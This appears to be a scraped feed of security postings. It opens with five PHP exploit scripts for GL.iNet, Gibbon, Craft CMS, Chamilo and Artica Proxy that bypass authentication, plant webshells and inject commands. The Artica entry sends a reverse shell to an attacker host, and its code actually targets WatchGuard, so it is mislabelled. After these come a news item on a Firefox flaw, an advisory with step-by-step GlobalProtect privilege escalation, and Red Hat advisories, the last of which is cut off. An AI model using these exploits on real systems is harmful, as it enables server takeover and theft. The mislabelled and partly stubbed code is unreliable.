GL.iNet version 4.4.3 suffers from authentication bypass and code injection vulnerabilities.

    =============================================================================================================================================| # Title     : GL.iNet network 4.4.3 Code Injection Vulnerability                                                                          || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.2 (64 bits)                                                            || # Vendor    : https://www.gl-inet.com/                                                                                                    |=============================================================================================================================================POC :[+] Dorking İn Google Or Other Search Enggine.[+] uses the CURL to Allow remote command .[+] Line 158 set your target .[+] save code as poc.php .[+] USage : cmd => c:\www\test\php poc.php [+] PayLoad :<?phpclass GlinetExploit{    private $targetUri;    private $sid;    private $glinet;    public function __construct($targetUri)    {        $this->targetUri = $targetUri;        $this->glinet = [            'model' => null,            'firmware' => null,            'arch' => null        ];    }    private function send_request($method, $uri, $data = null, $headers = [])    {        $ch = curl_init();        $options = [            CURLOPT_URL => $this->targetUri . $uri,            CURLOPT_RETURNTRANSFER => true,            CURLOPT_CUSTOMREQUEST => $method        ];        if ($data) {            $options[CURLOPT_POSTFIELDS] = $data;            $headers[] = 'Content-Type: application/json';        }        curl_setopt_array($ch, $options);        $response = curl_exec($ch);        curl_close($ch);        return $response ? json_decode($response, true) : null;    }    public function check_vuln_version()    {        $postData = json_encode([            'jsonrpc' => '2.0',            'id' => rand(1000, 9999),            'method' => 'call',            'params' => ['', 'ui', 'check_initialized', []]        ]);        $res = $this->send_request('POST', '/rpc', $postData);        if ($res && isset($res['result'])) {            $this->glinet['model'] = $res['result']['model'];            $this->glinet['firmware'] = $res['result']['firmware_version'];        }        // Check for vulnerable models and firmware        switch ($this->glinet['model']) {            case 'sft1200':                $this->glinet['arch'] = 'mipsle';                return version_compare($this->glinet['firmware'], '4.3.6', '==');            case 'ar750':            case 'ar750s':                $this->glinet['arch'] = 'mipsbe';                return version_compare($this->glinet['firmware'], '4.3.7', '==');            // Add more cases as per your requirement        }        return false;    }    public function auth_bypass()    {        if (!empty($this->sid)) {            return $this->sid;        }        $postData = json_encode([            'jsonrpc' => '2.0',            'id' => rand(1000, 9999),            'method' => 'challenge',            'params' => ['username' => 'root']        ]);        $res = $this->send_request('POST', '/rpc', $postData);        if ($res && isset($res['result']['nonce'])) {            $nonce = $res['result']['nonce'];            $username = "roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+";            $pw = '0';            $hash = md5("$username:$pw:$nonce");            $postData = json_encode([                'jsonrpc' => '2.0',                'id' => rand(1000, 9999),                'method' => 'login',                'params' => [                    'username' => $username,                    'hash' => $hash                ]            ]);            $res = $this->send_request('POST', '/rpc', $postData);            if ($res && isset($res['result']['sid'])) {                $this->sid = $res['result']['sid'];                return $this->sid;            }        }        return null;    }    public function execute_command($cmd)    {        $payload = base64_encode($cmd);        $cmd = "echo {$payload}|openssl enc -base64 -d -A|sh";        $postData = json_encode([            'jsonrpc' => '2.0',            'id' => rand(1000, 9999),            'method' => 'call',            'params' => [                $this->sid,                'logread',                'get_system_log',                ['lines' => '', 'module' => "|{$cmd}"]            ]        ]);        return $this->send_request('POST', '/rpc', $postData, ['Admin-Token: ' . $this->sid]);    }    public function check()    {        if ($this->check_vuln_version()) {            return "Vulnerable: {$this->glinet['model']} | {$this->glinet['firmware']} | {$this->glinet['arch']}";        }        return 'Not Vulnerable';    }    public function exploit($command)    {        $this->sid = $this->auth_bypass();        if ($this->sid) {            echo "SID: {$this->sid}\n";            echo "Executing: {$command}\n";            $this->execute_command($command);        } else {            echo "Authentication bypass failed.\n";        }    }}// Usage$exploit = new GlinetExploit('https://target-url');$exploit->exploit('ls');Greetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

GL.iNet 4.4.3 Code Injection

Gibbon School Platform version 26.0.00 suffers from a PHP code injection vulnerability.

    =============================================================================================================================================| # Title     : Gibbon School Platform 26.0.00 Code Injection Vulnerability                                                                 || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.2 (64 bits)                                                            || # Vendor    : https://gibbonedu.org/                                                                                                      |=============================================================================================================================================POC :[+] Dorking İn Google Or Other Search Enggine.[+] uses the CURL to Allow remote command .[+] Line 108 set your target .[+] save code as poc.php .[+] USage : cmd => c:\www\test\php poc.php [+] PayLoad :<?phpclass GibbonExploit{    private $target_uri;    private $username;    private $password;    private $webshell_name;    public function __construct($target_uri, $username, $password, $webshell_name = null)    {        $this->target_uri = $target_uri;        $this->username = $username;        $this->password = $password;        $this->webshell_name = $webshell_name ?: $this->randomString() . '.php';    }    private function send_request($method, $url, $data = null, $headers = [])    {        $ch = curl_init();        curl_setopt($ch, CURLOPT_URL, $url);        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);        if ($data) {            curl_setopt($ch, CURLOPT_POSTFIELDS, $data);        }        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);        if (!empty($headers)) {            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);        }        $response = curl_exec($ch);        curl_close($ch);        return $response;    }    public function gibbon_login()    {        $login_url = $this->target_uri . '/login.php?timeout=true';        $data = [            'address' => '',            'method' => 'default',            'username' => $this->username,            'password' => $this->password,            'gibbonSchoolYearID' => '025',            'gibboni18nID' => '0002'        ];        return $this->send_request('POST', $login_url, http_build_query($data));    }    private function construct_form_data($payload)    {        $payload_len = strlen($payload);        $payload_data = 'a:2:{i:7;O:32:"Monolog\\Handler\\SyslogUdpHandler":1:{s:9:"\x00*\x00socket";O:29:"Monolog\\Handler\\BufferHandler":7:{s:10:"\x00*\x00handler";r:3;s:13:"\x00*\x00bufferSize";i:-1;s:9:"\x00*\x00buffer";a:1:{i:0;a:2:{i:0;s:' . $payload_len . ':"' . $payload . '";s:5:"level";N;}}s:8:"\x00*\x00level";N;s:14:"\x00*\x00initialized";b:1;s:14:"\x00*\x00bufferLimit";i:-1;s:13:"\x00*\x00processors";a:2:{i:0;s:7:"current";i:1;s:6:"system";}}}i:7;i:7;}';        $form_data = [            'address' => '/modules/System Admin/import_run.php',            'mode' => 'sync',            'syncField' => 'N',            'syncColumn' => '',            'columnOrder' => $payload_data,            'columnText' => 'N;',            'fieldDelimiter' => '%2C',            'stringEnclosure' => '%22',            'filename' => $this->randomString() . '.xlsx',            'csvData' => '"External Assessment","Assessment Data","Student","Field Name","Category","Field Name","Result"',            'ignoreErrors' => '1',            'Failed' => 'Submit'        ];        return $form_data;    }    public function upload_webshell($b64_payload)    {        $php_payload = "echo \"<?php @eval(base64_decode('$b64_payload'));?>\" > " . $this->webshell_name;        $form_data = $this->construct_form_data($php_payload);        $url = $this->target_uri . '/index.php?q=/modules/System%20Admin/import_run.php&type=externalAssessment&step=4';        return $this->send_request('POST', $url, http_build_query($form_data));    }    public function execute_php($cmd)    {        $b64_payload = base64_encode($cmd);        $res = $this->upload_webshell($b64_payload);        if (!$res) {            die('Web shell upload error.');        }        // execute the webshell        $url = $this->target_uri . '/' . $this->webshell_name;        return $this->send_request('GET', $url);    }    private function randomString($length = 10)    {        return substr(str_shuffle('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'), 0, $length);    }}// Usage$exploit = new GibbonExploit('https://target-site.com', 'username@example.com', 'password');$exploit->gibbon_login();$response = $exploit->execute_php('phpinfo();');echo $response;Greetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

Gibbon School Platform 26.0.00 Code Injection

Craft CMS version 4.4.14 suffers from a PHP code injection vulnerability.

    =============================================================================================================================================| # Title     : Craft CMS 4.4.14 Code Injection Vulnerability                                                                               || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.2 (64 bits)                                                            || # Vendor    : https://craftcms.com/                                                                                                       |=============================================================================================================================================POC :[+] Dorking İn Google Or Other Search Enggine.[+] uses the CURL to Allow remote command .[+] Line 116 set your target .[+] save code as poc.php .[+] USage : cmd => c:\www\test\php poc.php [+] PayLoad :<?phpclass CraftCMSExploit {    private $target_uri;    private $webshell;    private $config = ['upload_tmp_dir' => null, 'document_root' => null];    private $post_param;    private $get_param;    public function __construct($target_uri, $webshell = '') {        $this->target_uri = $target_uri;        $this->webshell = $webshell ? $webshell : $this->generateRandomString(8, 16) . '.php';        $this->post_param = $this->generateRandomString(1, 8);        $this->get_param = $this->generateRandomString(1, 8);    }    public function check_phpinfo() {        // Sends a crafted request to extract upload_tmp_dir and document_root from phpinfo()        $data = http_build_query([            'action' => 'conditions/render',            'configObject[class]' => 'craft\\elements\\conditions\\ElementCondition',            'config' => '{"name":"configObject","as ":{"class":"\\\GuzzleHttp\\\Psr7\\\FnStream", "__construct()":{"methods":{"close":"phpinfo"}}}}'        ]);        $response = $this->sendPostRequest($this->target_uri, $data);        if ($response) {            $this->parsePHPInfo($response);        }    }    private function parsePHPInfo($response) {        // Parses the phpinfo() HTML response to find upload_tmp_dir and document_root        if (preg_match('/upload_tmp_dir.+<td class="v">(.*)<\/td>/i', $response, $matches)) {            $this->config['upload_tmp_dir'] = $matches[1] == 'no value' ? '/tmp' : trim($matches[1]);        }        if (preg_match('/DOCUMENT_ROOT.+<td class="v">(.*)<\/td>/i', $response, $matches)) {            $this->config['document_root'] = trim($matches[1]);        }    }    public function upload_webshell() {        // Generates an XML payload to upload the webshell via Imagick MSL        $payload = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>        <image>            <read filename=\"caption:<?php @eval(base64_decode(\$_POST['{$this->post_param}'])); ?>\" />            <write filename=\"info:{$this->config['document_root']}/{$this->webshell}\" />        </image>";        $form_data = [            'action' => 'conditions/render',            'configObject[class]' => 'craft\\elements\\conditions\\ElementCondition',            'config' => '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"msl:/dev/null"}}}',            'payload' => $payload        ];        $response = $this->sendMultipartPostRequest($this->target_uri, $form_data);        return strpos($response, '502') !== false;    }    public function execute_command($cmd) {        // Executes a command on the server via the uploaded webshell        $payload = base64_encode($cmd);        $data = http_build_query([$this->post_param => $payload]);        return $this->sendPostRequest($this->target_uri . '/' . $this->webshell, $data);    }    private function sendPostRequest($uri, $data) {        $options = [            'http' => [                'header' => "Content-type: application/x-www-form-urlencoded\r\n",                'method' => 'POST',                'content' => $data,            ],        ];        $context = stream_context_create($options);        return file_get_contents($uri, false, $context);    }    private function sendMultipartPostRequest($uri, $data) {        // Sends a multipart form-data POST request        $boundary = uniqid();        $delimiter = '------' . $boundary;        $post_data = $this->buildMultipartData($data, $delimiter);        $options = [            'http' => [                'header' => "Content-Type: multipart/form-data; boundary=" . $boundary . "\r\n",                'method' => 'POST',                'content' => $post_data,            ],        ];        $context = stream_context_create($options);        return file_get_contents($uri, false, $context);    }    private function buildMultipartData($data, $delimiter) {        $post_data = '';        foreach ($data as $name => $content) {            $post_data .= "--$delimiter\r\n";            $post_data .= "Content-Disposition: form-data; name=\"$name\"\r\n\r\n";            $post_data .= "$content\r\n";        }        $post_data .= "--$delimiter--\r\n";        return $post_data;    }    private function generateRandomString($min, $max) {        $length = rand($min, $max);        return substr(str_shuffle('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'), 0, $length);    }}// Usage$exploit = new CraftCMSExploit('http://target-craftcms.com');$exploit->check_phpinfo();if ($exploit->upload_webshell()) {    echo $exploit->execute_command('whoami');}?>Greetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

Craft CMS 4.4.14 Code Injection

Chamilo version 1.11.18 suffers from a PHP code injection vulnerability.

    =============================================================================================================================================| # Title     : Chamilo 1.11.18 Code Injection Vulnerability                                                                                || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.2 (64 bits)                                                            || # Vendor    : https://chamilo.org/en/2023/02/03/10-new-features-in-chamilo-1-11-18/                                                       |=============================================================================================================================================POC :[+] Dorking İn Google Or Other Search Enggine.[+] uses the CURL to Allow remote command .[+] Line 123 set your target .[+] save code as poc.php .[+] USage : cmd => c:\www\test\php poc.php [+] PayLoad :<?phpclass ChamiloExploit {    private $targetUri;    private $webshellName;    private $postParam;    public function __construct($targetUri, $webshell = null) {        $this->targetUri = rtrim($targetUri, '/');        $this->webshellName = $webshell ?: $this->generateRandomWebshellName();    }    private function generateRandomWebshellName() {        return bin2hex(random_bytes(8)) . '.php';    }    private function soapRequest($cmd) {        $pptSize = rand(720, 1440) . 'x' . rand(360, 720);        return <<<EOS<?xml version="1.0" encoding="UTF-8"?><SOAP-ENV:Envelope    xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"    xmlns:ns1="{$this->targetUri}"    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"    xmlns:xsd="http://www.w3.org/2001/XMLSchema"    xmlns:ns2="http://xml.apache.org/xml-soap"    xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"    SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">    <SOAP-ENV:Body>        <ns1:wsConvertPpt>            <param0 xsi:type="ns2:Map">                <item>                    <key xsi:type="xsd:string">file_data</key>                    <value xsi:type="xsd:string"></value>                </item>                <item>                    <key xsi:type="xsd:string">file_name</key>                    <value xsi:type="xsd:string">`{{}}`.pptx'|" |{$cmd}||a #</value>                </item>                <item>                    <key xsi:type="xsd:string">service_ppt2lp_size</key>                    <value xsi:type="xsd:string">{$pptSize}</value>                </item>            </param0>        </ns1:wsConvertPpt>    </SOAP-ENV:Body></SOAP-ENV:Envelope>EOS;    }    public function uploadWebshell() {        $this->postParam = bin2hex(random_bytes(4));        $phpPayload = "<?php @eval(base64_decode(\$_POST['{$this->postParam}']));?>";        $pngWebshell = $this->injectPhpPayloadPng($phpPayload);        if ($pngWebshell === null) {            return null;        }        $payload = base64_encode($pngWebshell);        $cmd = "echo {$payload}|openssl enc -a -d > ./{$this->webshellName}";        $response = $this->sendRequest('POST', "/main/webservices/additional_webservices.php", "text/xml; charset=utf-8", $this->soapRequest($cmd));        return $response;    }    private function injectPhpPayloadPng($phpPayload) {        // Implement your logic to inject PHP payload into a PNG image        // For demonstration purposes, we'll return a dummy PNG data        return pack('H*', '89504E470D0A1A0A...'); // Example PNG header    }    public function executePhp($cmd) {        $payload = base64_encode($cmd);        $response = $this->sendRequest('POST', "/main/inc/lib/ppt2png/{$this->webshellName}", "application/x-www-form-urlencoded", [$this->postParam => $payload]);        return $response;    }    public function executeCommand($cmd) {        $payload = base64_encode($cmd);        $cmd = "echo {$payload}|openssl enc -a -d|sh";        $response = $this->sendRequest('POST', "/main/webservices/additional_webservices.php", "text/xml; charset=utf-8", $this->soapRequest($cmd));        return $response;    }    public function check() {        $marker = bin2hex(random_bytes(4));        $res = $this->executeCommand("echo {$marker}");        if ($res && strpos($res, 'wsConvertPptResponse') !== false && strpos($res, $marker) !== false) {            return 'Vulnerable';        } else {            return 'Safe';        }    }    public function exploit($payload) {        switch ($payload['type']) {            case 'php':                $res = $this->uploadWebshell();                if (!$res || strpos($res, 'wsConvertPptResponse') === false) {                    throw new Exception('Web shell upload error.');                }                $this->executePhp($payload['encoded']);                break;            case 'unix_cmd':                $this->executeCommand($payload['encoded']);                break;            case 'linux_dropper':                // Implement Linux dropper logic                break;        }    }    private function sendRequest($method, $uri, $ctype, $data) {        // Implement your HTTP request logic here (using cURL or similar)        // For demonstration purposes, return a dummy response        return 'Dummy response';    }}// Usage$exploit = new ChamiloExploit('http://target.com', 'webshell.php');$exploit->check();Greetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

Chamilo 1.11.18 Code Injection

Artica Proxy version 4.40 suffers from a code injection vulnerability that provides a reverse shell.

    =============================================================================================================================================| # Title     : Artica Proxy appliance 4.40 Code Injection Vulnerability                                                                    || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.2 (64 bits)                                                            || # Vendor    : https://artica-proxy.com/                                                                                                   |=============================================================================================================================================POC :[+] Dorking İn Google Or Other Search Enggine.[+] uses the CURL to Allow remote command .[+] Line 97 set your target .[+] save code as poc.php .[+] USage : cmd => c:\www\test\php poc.php [+] PayLoad :<?phpclass WatchGuardExploit {    private $targetUri;    private $lhost;    private $lport;    private $shell;    public function __construct($targetUri, $lhost, $lport, $shell = "/usr/bin/python") {        $this->targetUri = $targetUri;        $this->lhost = $lhost;        $this->lport = $lport;        $this->shell = $shell;    }    public function sendRequest($method, $url, $data = null, $headers = []) {        $ch = curl_init();        curl_setopt($ch, CURLOPT_URL, $url);        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);        curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);        if ($data) {            curl_setopt($ch, CURLOPT_POSTFIELDS, $data);        }        if (!empty($headers)) {            curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);        }        $response = curl_exec($ch);        curl_close($ch);        return $response;    }    public function checkWatchGuardFirebox() {        $url = $this->targetUri . '/auth/login';        $response = $this->sendRequest('GET', $url, null, ['from_page' => '/']);                if ($response && strpos($response, 'Powered by WatchGuard Technologies') !== false             && strpos($response, 'Firebox') !== false) {            return true;        }        return false;    }    public function createBofPayload() {        // Generate the buffer overflow payload with Python reverse shell code        $randomStr = bin2hex(random_bytes(2)); // 4-character random alphanumeric        $pyFilename = "/tmp/" . $randomStr . ".py";        $payload = "<methodCall><methodName>agent.login</methodName><params><param><value><struct><member><value><" . str_repeat('A', 3181) . "MFA>";        $payload .= str_repeat('<BBBBMFA>', 3680);        // Include a Python reverse shell command as the payload        $payload .= 'import socket;from subprocess import call; from os import dup2;';        $payload .= 's=socket.socket(socket.AF_INET,socket.SOCK_STREAM);';        $payload .= 's.connect(("' . $this->lhost . '",' . $this->lport . '));';        $payload .= 'dup2(s.fileno(),0); dup2(s.fileno(),1); dup2(s.fileno(),2);';        $payload .= 'call(["' . $this->shell . '","-i"]);';        $payload .= 'import os; os.remove("' . $pyFilename . '");';        return gzencode($payload); // gzip encoding    }    public function exploit() {        if (!$this->checkWatchGuardFirebox()) {            echo "Target is not vulnerable.\n";            return;        }        echo "Target is vulnerable. Sending exploit...\n";        $bofPayload = $this->createBofPayload();        // Send the buffer overflow payload        $url = $this->targetUri . '/agent/login';        $this->sendRequest('POST', $url, $bofPayload, [            'Accept-Encoding: gzip, deflate',            'Content-Encoding: gzip'        ]);        echo "Payload sent.\n";    }}// Example usage:$exploit = new WatchGuardExploit('https://target-ip:8080', 'attacker-ip', 4444);$exploit->exploit();Greetings to :=====================================================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|===================================================================================================

Artica Proxy 4.40 Code Injection

The bug is already being exploited in the wild, but Firefox has provided patches for those who may be vulnerable.

Source: 2020WEB via Alamy Stock Photo

Mozilla has patched a critical security vulnerability in its Firefox Web browser that's being actively exploited in the wild.

Tracked as CVE-2024-9680, the vulnerability is a use-after-free issue in Animation timelines, with attackers exploiting it to execute arbitrary code, according to Mozilla's advisory. It carries a CVSSv3 vulnerability-severity rating of 9.8 out of 10 and a low attack complexity (no privileges or user interaction is needed to successfully exploit the flaw), and translates into high risk in the event of a successful attack.

Critical bugs in Firefox, which is used by around 178 million people worldwide, are few and far between. The Web browser hasn't had to offer patches for such a severe flaw since March, and only a small number have been discovered in the past few years.

The disclosure sparked a flurry of alerts from international cyber agencies, including Dutch national cyber center Nationaal Cyber Security Centrum, and the cybersecurity centers of Canada and Italy.

The Web browser vulnerability affects Firefox 131.0.2, Firefox ESR 128.3.1, and Firefox ESR 115.16.1. Users should upgrade to version 131.0.2 in Firefox and to versions 115.16.1 or 128.3.1 for Firefox ESR to fix the vulnerability and thwart potential exploitation.

**About the Author**

Critical Mozilla Firefox Zero-Day Allows Code Execution

Palo Alto Networks GlobalProtect versions 5.1.x, 5.2.x, 6.0.x, 6.1.x, 6.3.x and versions less than 6.2.5 suffer from a local privilege escalation vulnerability.

SEC Consult Vulnerability Lab Security Advisory < 20241009-0 >  
=======================================================================  
              title: Local Privilege Escalation via MSI installer  
            product: Palo Alto Networks GlobalProtect  
 vulnerable version: 5.1.x, 5.2.x, 6.0.x, 6.1.x, <6.2.5, 6.3.x  
      fixed version: >=6.2.5, all other versions are not patched yet  
         CVE number: CVE-2024-9473  
             impact: high  
           homepage: https://docs.paloaltonetworks.com/globalprotect  
              found: 2023-11-16  
                 by: Michael Baer (Office Fürth)  
                     SEC Consult Vulnerability Lab 

                     An integrated part of SEC Consult, an Eviden business  
                     Europe | Asia

                     https://www.sec-consult.com

=======================================================================

Vendor description:  
-------------------  
"GlobalProtect enables you to use Palo Alto Networks next-gen firewalls or  
Prisma Access to secure your mobile workforce."

Source: https://docs.paloaltonetworks.com/globalprotect

Business recommendation:  
------------------------  
The vendor provides a patched version v6.2.5 which should be installed immediately.  
Further affected branches will be patched by the vendor in the future, except  
branch 5.2.x which is EOL. Users are urged to upgrade to the most recent versions.

SEC Consult highly recommends to perform a thorough security review of the  
product conducted by security professionals to identify and resolve potential  
further security issues.

Vulnerability overview/description:  
-----------------------------------  
1) Local Privilege Escalation via MSI installer (CVE-2024-9473)  
The configuration of the GlobalProtect MSI installer file was found to  
produce a visible conhost.exe window running as the SYSTEM user when using   
the repair function of msiexec.exe. This allows a local, low-privileged  
attacker to use a chain of actions, to open a fully functional cmd.exe  
with the privileges of the SYSTEM user. 

Proof of concept:  
-----------------  
1) Local Privilege Escalation via MSI installer (CVE-2024-9473)  
For the exploit to work, GlobalProtect has to be installed via the MSI file.  
Afterwards, any low-privileged user can start the repair of GlobalProtect by  
double-clicking the installer and trigger the vulnerable actions  
without a UAC popup. The installer, if deleted from it's original location,  
can be found in C:\Windows\Installer with a randomized name.

During the repair process, the subprocess PanVCrediChecker.exe gets  
called with SYSTEM privileges and performs a read action on the file   
"C:\Program Files\Palo Alto Networks\GlobalProtect\libeay32.dll".

This can be used by an attacker by simply setting an oplock on the file.  
As soon as it gets read, the process is blocked until the lock is released.  
To do that, one can use the 'SetOpLock.exe' tool from  
"https://github.com/googleprojectzero/symboliclink-testing-tools"  
with the following parameters:

SetOpLock.exe "C:\Program Files\Palo Alto Networks\GlobalProtect\libeay32.dll" x  
See figure 1 [lock.webp]

During the repair process, the locked file is accessed several times. The lock  
has to be released by pressing ENTER five times before the conhost.exe  
window opens. For the sixth request, the lock should not be released to keep the  
window open. The conhost window that gets opened when PanVcrediChecker.exe is  
executed doesn't close and can then be interacted with.

The attacker can then perform the following actions to   
spawn a SYSTEM shell:  
- Right click on the top bar of the window  
- Click on properties [ see figure 2 openbrowser.webp]  
- Under options, click on the "new console features" link [see figure 2  
    openbrowser.webp]  
- Open the link with e.g. firefox or chrome [see figure 2 openbrowser.webp]  
- In the opened browser window press the key combination CTRL+o  
- Type cmd.exe in the top bar and press Enter [see figure 3 cmd.webp]

Note that this does not work using a recent version of the Edge Browser.

Vulnerable / tested versions:  
-----------------------------  
The following versions have been tested which were the only versions  
available to SEC Consult at the time of the test. SEC Consult was not  
entirely sure, which exact version the product was:  
- ProductVersion as stated by the PropertyTable: 5.2.10  
- Version as stated by Windows after installing: 5.1.5  
- 6.1.2 is affected as well

The vendor confirmed that versions <6.2.5 are affected. Furthermore,  
all other branches 5.1.x, 5.2.x, 6.0.x, 6.1.x and 6.3.x are affected  
as well. Branch 5.2.x is end of life according to the vendor and will  
not be patched.

Vendor contact timeline:  
------------------------  
2023-11-17: Contacting vendor through PSIRT@PaloAltoNetworks.com  
            asking for most recent software version  
2023-11-21: Vendor confirms receipt of contact  
2023-11-23: Vendor denies providing most recent version and asks for  
            full technical report via their online form:  
            https://security.paloaltonetworks.com/report  
            Note: Submitting the advisory draft via online form  
            repeatedly results in server errors  
2023-11-23: Sending the advisory via PSIRT@PaloAltoNetworks.com  
2024-01-11: Contacting vendor through PSIRT@PaloAltoNetworks.com  
            asking for confirmation of receiving the advisory and  
            status of their triage.  
2024-01-12: Vendor confirms receiving the advisory.  
            The issue is tracked internally.  
2024-03-06: Contacting vendor through PSIRT@PaloAltoNetworks.com   
            asking for update of the vulnerability.  
2024-04-02: The vendor notifies that the product team is working  
            on the report.  
2024-04-08: Asking vendor to notify about updates and the timeline  
            of a fix.  
2024-04-24: Vendor was able to reproduce the issue, but not in the  
            most recent versions. 5.1.5 is affected, but not 5.2.10  
            nor 5.1.12, nor 6.2.2.  
2024-05-23: Asking vendor about affected/fixed versions and regarding  
            CVE number.  
2024-05-30: Vendor apologizes for version confusion, following up with team  
            internally. Vendor plans to publish an advisory with CVE, but  
            no date yet, asks us to wait/coordinate our advisory with theirs.  
2024-06-03: Answering that we will wait for their release & advisory.  
2024-06-17: Asking for a status update regarding the version numbers &  
            advisory release.  
            Vendor: no ETA/timeline yet, no version information.  
2024-09-25: Asking for a status update regarding the vendor advisory and for  
            confirmation of the available fixes.  
2024-09-27: Vendor investigated further and previous versions are unfortunately  
            affected as well. Product team works on a fix, advisory & CVE  
            release scheduled for 9th October 9 AM PT.  
2024-09-27: Acknowledging the coordinated advisory release for 9th October.  
2024-10-03: Vendor communicates further information regarding affected versions  
            and their advisory draft.  
2024-10-07: Vendor confirms 5.2.x as affected as well, but is EOL without fix.  
2024-10-09: Coordinated release of security advisory.

Solution:  
---------  
The vendor provides an updated version v6.2.5 which fixes the issues for this  
specific branch. Other versions are not yet patched and will be fixed in future  
releases.

Further information can be found at the vendor's website.  
https://security.paloaltonetworks.com

Users are urged to upgrade to the latest version and remove old versions  
of the MSI installer, especially users of v5.2.x as this branch is EOL and won't  
receive an update.

SEC Consult has also released a blog post on 12th September 2024 regarding MSI  
installer security issues tracked as CVE-2024-38014 and a general fix by  
Microsoft. We have contacted Microsoft to have a more general solution for  
every affected vendor. For further details check out the blog post:  
https://r.sec-consult.com/msi

Workaround:  
-----------  
None

Advisory URL:  
-------------  
https://sec-consult.com/vulnerability-lab/

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab   
An integrated part of SEC Consult, an Eviden business  
Europe | Asia

About SEC Consult Vulnerability Lab  
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an  
Eviden business. It ensures the continued knowledge gain of SEC Consult in the  
field of network and application security to stay ahead of the attacker. The  
SEC Consult Vulnerability Lab supports high-quality penetration testing and  
the evaluation of new offensive and defensive technologies for our customers.  
Hence our customers obtain the most current information about vulnerabilities  
and valid recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
Interested to work with the experts of SEC Consult?  
Send us your application https://sec-consult.com/career/

Interested in improving your cyber security with the experts of SEC Consult?  
Contact our local offices https://sec-consult.com/contact/  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: security-research at sec-consult dot com  
Web: https://www.sec-consult.com  
Blog: https://blog.sec-consult.com  
Twitter: https://twitter.com/sec_consult

EOF Michael Baer, Johannes Greil / 2024

Palo Alto Networks GlobalProtect Local Privilege Escalation

Red Hat Security Advisory 2024-7958-03 - An update for firefox is now available for Red Hat Enterprise Linux 9. Issues addressed include a use-after-free vulnerability.

    The following advisory data is extracted from:https://security.access.redhat.com/data/csaf/v2/advisories/2024/rhsa-2024_7958.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: firefox security updateAdvisory ID:        RHSA-2024:7958-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:7958Issue date:         2024-10-10Revision:           03CVE Names:          CVE-2024-9680====================================================================Summary: An update for firefox is now available for Red Hat Enterprise Linux 9.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Mozilla Firefox is an open-source web browser, designed for standards compliance, performance, and portability.Security Fix(es):* firefox: Use-after-free in Animation timeline (128.3.1 ESR Chemspill) (CVE-2024-9680)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2024-9680References:https://access.redhat.com/security/updates/classification/#importanthttps://bugzilla.redhat.com/show_bug.cgi?id=2317442

Red Hat Security Advisory 2024-7958-03

Red Hat Security Advisory 2024-7856-03 - An update for thunderbird is now available for Red Hat Enterprise Linux 8.2 Advanced Update Support. Issues addressed include bypass and denial of service vulnerabilities.

The following advisory data is extracted from:

https://security.access.redhat.com/data/csaf/v2/advisories/2024/rhsa-2024_7856.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

